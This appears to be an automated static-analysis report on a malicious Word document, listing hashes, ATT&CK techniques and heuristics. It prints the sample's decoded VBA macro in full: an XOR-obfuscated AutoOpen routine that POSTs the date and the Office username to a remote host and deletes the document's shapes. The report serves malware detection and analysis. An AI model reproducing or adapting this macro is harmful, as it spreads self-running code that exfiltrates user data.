Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 dec98f4c06979f1b…

MALICIOUS

Office (OOXML)

17.8 KB Created: 2021-06-21 09:00:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-30
MD5: 808cc6727383eb3acd9a73ac3fa946a7 SHA-1: ece907cca439cf5d5f8accf1001466cc946cd02d SHA-256: dec98f4c06979f1bb5fe73bd93bf19fff3207ec9e991b919830f95eff315245a
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains an obfuscated VBA macro with an AutoOpen subroutine, indicating it's designed to execute automatically upon opening. The macro attempts to download a payload from the reconstructed URL "http://40zoooqyvrnxntqnrto/" using a POST request. The use of CreateObject and the obfuscated nature of the script suggest a downloader or droppper functionality.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3217 bytes
SHA-256: 7887436c5c6ade63cbf58ff7631c9c1d1eea3727102cabdae6ad7bf687df2d6f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Function sm4w(str As String) As Variant: Dim bytes() As Byte: bytes = str: sm4w = bytes: End Function
Function gq3s(bytes() As Byte) As String: Dim str As String: str = bytes: gq3s = str: End Function

Function o40kq35p(str As String) As String
    Const p_ As String = "c5gfz7l6"
    Dim sb_() As Byte, pb_() As Byte
    sb_ = sm4w(str)
    pb_ = sm4w(p_)

    Dim uL As Long
    uL = UBound(sb_)

    ReDim scb_(0 To uL) As Byte

    Dim idx As Long

    For idx = LBound(sb_) To uL:
        If Not sb_(idx) = 0 Then
            c = sb_(idx)
            For i = 0 To UBound(pb_):
                c = c Xor pb_(i)
            Next i
            scb_(idx) = c
        End If

    Next idx

    o40kq35p = gq3s(scb_)
End Function


Sub ce6tvqee()
'
' EXFILTRATION Macro
'
'
Dim d, username, data
Dim shp As Shape
d = Now
username = Application.username
data = d & o40kq35p("`" & Chr(109) & "" & Chr(96) & "") & username
response = httpPost(o40kq35p("(" & Chr(52) & "4" & "0" & "z" & "o" & "" & "o" & Chr(113) & "" & Chr(121) & "" & "r" & "n" & "q" & "v" & "" & "x" & "" & "n" & "t" & "" & Chr(113) & Chr(110) & "" & Chr(114) & "t" & "" & Chr(111) & ""), o40kq35p("$" & "" & "!" & "" & "4" & "!" & "}") & data)
ActiveDocument.Shapes.SelectAll
Selection.Delete
End Sub

Sub AutoOpen()
EXFILTRATION
End Sub
Function httpPost$(url$, msg$)
    With CreateObject(o40kq35p(chr(23) & ")" & "" & chr(46) & "" & " & "" & "4" & chr(52) & "0" & "" & chr(110) & "" & chr(23) & "" & chr(41) & "" & chr(46) & chr(8) & "" & "4" & "" & chr(52) & "0" & "" & chr(18) & "%" & chr(49) & "" & "5" & "" & "%" & "3" & "" & "4" & "n" & "u" & "n" & "q" ))
        .Open o40kq35p(Chr(16) & "" & " " & "" & " " & " "), url, False
        .setRequestHeader o40kq35p(" " & "" & chr(51) & "%" & chr(50) & chr(109) & " " & "" & "'" & chr(37) & "." & "4" & "" ), o40kq35p(chr(13) & chr(47) & "" & ":" & ")" & "" & chr(44) & "" & chr(44) & "" & chr(33) & chr(111) & chr(116) & "" & "n" & "p" & "" & chr(96) " & chr(19) & chr(9) & "" & " " & "" & "`" & "" & "v" & "n" & "p" & "" & chr(123) & chr(96) & chr(23) & "" & ")" & "" & "." & "" & chr(36) & "" & chr(47) & "" & "7" & "" & "3" & "`" & "" & " " & chr(20) & "" & chr(96) & "u" & chr(110) & "p" & "" & "i" )
        .setRequestHeader o40kq35p(" " & Chr(47) & "." & "" & Chr(52) & "" & "%" & "" & "." & "" & "4" & Chr(109) & "" & "4" & "" & Chr(57) & "" & Chr(48) & Chr(37) & ""), o40kq35p(Chr(33) & "" & "0" & "" & "0" & "" & "," & ")" & "" & "#" & "!" & "" & "4" & "" & Chr(41) & "" & Chr(47) & Chr(46) & "" & Chr(111) & "" & Chr(56) & "" & Chr(109) & "" & "7" & Chr(55) & "7" & "" & "m" & "" & Chr(38) & "/" & "" & Chr(50) & "" & "-" & "m" & "" & Chr(53) & "2" & "" & Chr(44) & "" & Chr(37) & "." & "" & "#" & "/" & "$" & "%" & Chr(36) & "")
        .send msg
        httpPost = .responseText
    End With
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 14848 bytes
SHA-256: 5359ffe5a38446bfd9802a34a73db6561766d3b8767c22e1cc8acd53f7c22949

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